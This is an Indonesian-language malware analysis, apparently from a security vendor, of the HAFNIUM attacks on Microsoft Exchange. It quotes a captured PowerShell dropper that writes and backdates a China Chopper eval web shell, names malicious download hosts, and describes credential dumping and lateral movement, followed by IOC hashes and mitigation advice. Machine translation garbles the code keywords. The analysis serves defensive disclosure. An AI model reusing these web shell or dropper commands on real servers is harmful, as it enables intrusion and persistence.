Pada tanggal 2 Maret, Microsoft mengumumkan bahwa sebuah kelompok ancaman, HAFNIUM, secara aktif mengeksploitasi empat kerentanan zero-day di Exchange Server mereka. Microsoft telah merilis pembaruan keamanan di luar jadwal (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, dan CVE-2021-27065), yang memungkinkan penyerang untuk mengakses akun email dan menjalankan malware di server tanpa mengetahui kredensial akun yang valid.
Pelaku ancaman mengeksploitasi kerentanan Zero-Day Server-Side Request Forgery (SSRF) di Microsoft Exchange CVE-2021-26855. Kerentanan ini memungkinkan penyerang untuk melewati autentikasi dan mendapatkan eksekusi kode jarak jauh.
CVE-2021-27065 adalah kerentanan penulisan berkas arbitrer pasca-otorisasi. Kerentanan ini membuat berkas dengan akhiran .aspx dan menyisipkan kode, dan para penyerang memanfaatkan kerentanan ini. Kami menduga bahwa penyerang mengunggah "china chopper web shell" ke server yang disusupi dalam sebagian besar kasus.

Rantai serangan
Eksploitasi server Exchange ini disertai indikator yang membahayakan berkas IOC, web shell, atau aspx. Setelah eksploitasi terjadi, penyerang memasang web shell di server Exchange di lokasi tertentu "C:\inetpub\wwwroot\aspnet_client\discover.aspx" di server Exchange. Kami telah menemukan beberapa berkas aspx dalam serangan ini dengan nama umum seperti aspnet_client.aspx, load.aspx, discover.aspx, supp0rt.aspx, acceptable.aspx, error_page.aspx, shell.aspx, logaaa.aspx, dict.aspx, dll., dan kami menemukan web shell di berkas Buku Alamat Offline (OAB).
Penyerang dapat menyuntikkan kode ke halaman aspx dari Buku Alamat Offline Exchange; halaman-halaman ini digunakan untuk eksploitasi lebih lanjut. Kami telah menemukan eksekusi PowerShell di bawah ini dengan parameter mencurigakan pada server Exchange yang disusupi. Eksekusi kode PowerShell ini menunjukkan bahwa penulisan/modifikasi file dilakukan dengan mengeksploitasi kerentanan tersebut.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -W tersembunyi -ep bypass -enc coba {$p=”C:\\inetpub\\wwwroot\\aspnet_client\\error.aspx”;
$FileStream=New-ObjectIO.FileStream@($p,[IO.FileMode]::Buat); $FileStream.Tulis([Teks.Pengodean]::UTF8.DapatkanBytes('Url Eksternal:https://f/
“server”>functionPage_Load(){/*ExchangeService*/eval(Request[“tidak aman”],”tidak aman”);} '),0,147);jika($FileStream){$FileStream.Flush();$FileStream.Dispose();$f=(ls$p);$t=”2015-09-13″;$f.WaktuPembuatan=$t;$f.WaktuAksesTerakhir=$t;$f.WaktuPenulisanTerakhir=$t;$f.Atribut=”HanyaBaca”,
“sistem”,”tersembunyi”,”tidakdiindeks konten”,”arsip”}}tangkap{}.
Analisis Web Shell
Web shell helikopter Cina adalah skrip kecil dan satu baris yang diamati dalam serangan ini. Isi berkas-berkas ini agak aneh dan tidak lengkap. Strukturnya menggunakan semacam argumen parameter HTTP GET yang memanggil eval atau beberapa kata seperti unsafe, yang merupakan berbagai macam ancaman.
Contoh-
“https://f/ function Page_Load(){eval(Request [“XOrSeMr3kgWUdFf6″],”unsafe”);} "
Sintaks kolom ExternalUrl dalam berkas OAB seperti mengambil variabel dari permintaan HTTP dan mengeksekusi baris perintahnya melalui server. "https://f/" bukanlah sintaks yang tepat, dan beberapa parameter karakter acak terlihat; yaitu penggunaan Kunci untuk autentikasi sebelum mengeksekusi kode. Dalam kasus di atas, "XOrSeMr3kgWUdFf6" sangat penting. Dalam berkas OAB, kita dapat melihat tanggal modifikasi berkas di kolom WhenChanged.
Tangkapan layar untuk file aspx-

Gambar 1. File ASPX
Variasi skrip yang kami lihat di berkas web shell, beberapa statis seperti orange, ananas, dan beberapa pengkodean dari string Base64 yang digunakan dalam berkas. Beberapa komplikasi digunakan untuk menghindari deteksi pemisahan string dan pengkodean dengan string Base64.

Gambar 2. Daftar ExternalUrl

Gambar 3. Daftar jalur
Aktivitas Pasca Eksploitasi
Dalam pasca-eksploitasi, kami telah melihat beberapa upaya serangan diluncurkan untuk mendapatkan akses penuh ke server; ini melibatkan penggunaan berbagai operator terhadap alat dan metode sumber terbuka untuk menanamkan pintu belakang atau sejumlah malware.
Varian 1:
Kami telah mendeteksi beberapa unduhan PowerShell di server. Skrip PowerShell pertama adalah kode yang dienkode base64 yang kemudian mengunduh tahap berikutnya dari http[:]//p.estonine[.]com/p?e. Kemudian kami mencoba mengunduh tahap berikutnya dan kami menemukan bahwa skrip PowerShell telah diunduh.

Gambar 4. Skrip PowerShell pertama
Skrip PowerShell yang diunduh harus memanggil ekspresi dengan penyandian base64, dan kode terkompresi Zlib untuk teknik pengaburan yang berat.

Gambar 5. Tahap selanjutnya PS
Setelah mendekode dan mendekompresi skrip yang ditemukan di bawah kode tersebut, kode tersebut menggunakan berbagai pemeriksaan dan mengumpulkan informasi seperti alamat MAC, AV, versi OS, nama domain, dan pengguna. Hand kemudian akan membuat mutex "Global\PSEXEC", lalu memeriksa hak akses Administrator untuk menjalankan proses. ccc.log dirancang untuk terhubung ke server CNC.

Gambar 6. Tahap kode PowerShell 2
Skrip akan mencoba menghubungi "http[:]//CDN.chatcdn[.]net", domain ini telah lama dianggap berbahaya; dalam penyebaran DLTMiner sebelumnya, ia menggunakannya dalam skrip PowerShell. Jika dijalankan dengan hak akses admin, unduh "p?hig", jika tidak, "p?low". Kemudian, skrip akan membuat interval runtime tugas terjadwal Winnet. Jika server tidak mendapatkan respons, maka file "update.png" akan diunduh dari IP "188.166.162.201".

Gambar 7. Tahap kode PowerShell 2
Sekali lagi, berkas yang diunduh adalah Skrip PowerShell dan memiliki data yang sangat tersamar; setelah mendekode kode, berkas tersebut akan menjadi skrip berukuran sekitar 2 MB dan berisi banyak baris kode. Dalam kode tersebut, ditemukan penggunaan kode sumber terbuka yang digunakan untuk mengeksploitasi melalui SMB, permintaan pengaturan sesi SMB, permintaan logout sesi SMB, invoke-SMBExec, dan beberapa teknik pergerakan lateral.

Gambar 8. Tahap PowerShell 3
Setelah mendekode kode base64, investigasi lebih lanjut menemukan dua berkas eksekusi yang mirip dengan muatan Mimikatz. Ini adalah program sumber terbuka untuk pembuangan kredensial yang digunakan untuk mendapatkan informasi login dan kata sandi akun. Kredensial kemudian dapat digunakan untuk melakukan pergerakan lateral dan mengakses informasi penting/terbatas.
Varian 2:
Skrip PowerShell lain yang kami amati mencoba mengunduh berkas dari halaman GitHub. Ekstensi berkasnya adalah .png, tetapi merupakan berkas eksekusi PE.

Gambar 9. Varian Skrip PowerShell 2
Kami sedang menyelidiki lebih lanjut tentang skrip PowerShell tersebut, dan rantai infeksi akan berbagi beberapa hal menarik yang memanfaatkan kerentanan server Microsoft Exchange.
IOC
| Hash Webshell | Hash PE |
| 0CD6F96A3460BE65C70C88A764F6EC56 | 3547D371C975779D6E0EDDF145936FB1 |
| 137E3A611C961EF33AAF49CCAA35E710 | 8AEA2AE91CC084731A08AA231E79A430 |
| 1A06924B507FA9A48E94D8AB819C7E42 | 9ff2613df0fc30afbc552f40360c37e7 |
| 1B18EC3D2B27CE39E83D602CB8BA84FE | cad2ee0a2e085a319505c4c4b68b3d2b |
| 1EAC1B6CE217C4BD31E93A3D913AF010 | E438712E336982548B884CBFBFEE6C9E |
| 217747243CB1FB9EAF6999284D7B9FCB | |
| 3068ECC45C32C24C8FD56FC0CB0A8829 | |
| 3446CEEE4BEA404ED72E14E154763428 | |
| 35B332744E614EF07A94FF4AC03B1F1A | |
| 35FCA708A86BEE43F068AD53C289963D | |
| 3CDBE5DF6383A6604737076F9E97E25A | |
| 49A62802887B6CA23FD067B942631698 | |
| 4D0C46CA88840A2649CD0C8596EA0AF9 | |
| 50499D3A3F4A072FD2FA3C5C5E651E25 | |
| 5970381424FB282AD7683431EB38C4B5 | |
| 5DD588C96A81586EE653BDB80D301A87 | |
| 65159FE1E1AE21F68CD235A8C045787A | |
| 6654AA50456B7D7C10061957DA128EF6 | |
| 6B2AEC787E30369911265CFA932192F4 | |
| 6D5F087C1D2E5A98E8EF00FE7883A531 | |
| 6F5909B3060D0F9AD4C4F4F6EFBAAC27 | |
| 87DCB5D6CCD2D614C34197915A9ADE15 | |
| 8B99A15118D4FB563CDEFA97BFEC6BFE | |
| 8CBF320BC0E0BE871E04152AFF775238 | |
| 8D5315AA11C3DBCDDFBA1A8D8D695F6B | |
| 93448E9EC4EEDA337879B148475B0E77 | |
| 94881B3621AF9A4DC64678258364A82B | |
| B82E014EE386C569710A9B03A7294A4C | |
| B86798F8F643CA76F20916C9347AE1C8 | |
| BA7235A228BEB5B8D1C630DA46B17E5F | |
| BEE691F207A19D782CCFBE5887B91015 | |
| C11680638FFF66F5DD494151D4A77389 | |
| CB9BE56C0DA7D625277823C796A10B12 | |
| D02AD7D92D348E011F4C63CBA6BA639D | |
| D08194CBB0D72C2609719C8E87D9036D | |
| D2EE996FBFB6ACA47CFD4319543626A3 | |
| D70FBE37FA09856158361411624591E7 | |
| D8A14C2BC15DC04B0BAE8A992990D41F | |
| DEADBB5A1E9669E268D2C1CC5D9965B0 | |
| E6F23A3282C7F0A693433815B4CFFC8F | |
| EDB48532A2AA88558474FFEA64355129 | |
| EF374AAB0EFFF9914A83362E0896F651 | |
| EFD4DC84D422420E887E6400FECCDDAD | |
| F7D74667839288B659EC1D87217FC749 | |
| FBB4182C9A441688FD71996DE7445A6F |
Domain/IP
- http[:]//p.estonine[.]com/p?e
- http[:]//cdn.chatcdn[.]net
- http[:]//40.115.162.72/89[.]png
- https[:]//raw.githubusercontent[.]com/eluken890enlk/exmails/main
-
188.166.162.201
-
178.21.164.68
Nama Deteksi Quickheal
- HTTP/CVE-2021-26855.MES!PT
- HTTP/MSExchangeServer.SSRF!PT
- CVE-2021-26855.Webshell
Ringkasan
Aktor ancaman mengeksploitasi kerentanan zero-day ini terhadap server Microsoft Exchange yang rentan, berbagai teknik pasca eksploitasi digunakan oleh aktor ancaman untuk memperoleh akses/mengambil alih kendali server Exchange, sehingga sangat penting untuk menambalnya dengan pembaruan keamanan terbaru.
Kami, sebagai Quick Heal, menambahkan deteksi untuk kerentanan ini dalam IPS dan deteksi berbasis file untuk mengidentifikasi server yang telah disusupi dan keberadaan IOC lain seperti web shell.
Peringanan
- Kami sangat menyarankan untuk segera memperbarui semua server Microsoft Exchange ke versi patch terbaru yang dirilis oleh Microsoft.
- Untuk melindungi serangan/eksploitasi semacam itu, disarankan untuk memiliki produk keamanan di lingkungan & memperbaruinya tepat waktu.
- Kebutuhan untuk menerapkan patch keamanan tepat waktu dari vendor akan membantu melindungi dan mengamankan sistem.
- Jika server sudah terinfeksi, maka kita perlu membersihkan server sebelum melakukan patch.
- Alat mitigasi di bawah ini yang dibagikan oleh Microsoft dapat digunakan untuk melawan kerentanan-
- https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/
- https://github.com/microsoft/CSS-Exchange/tree/main/Security



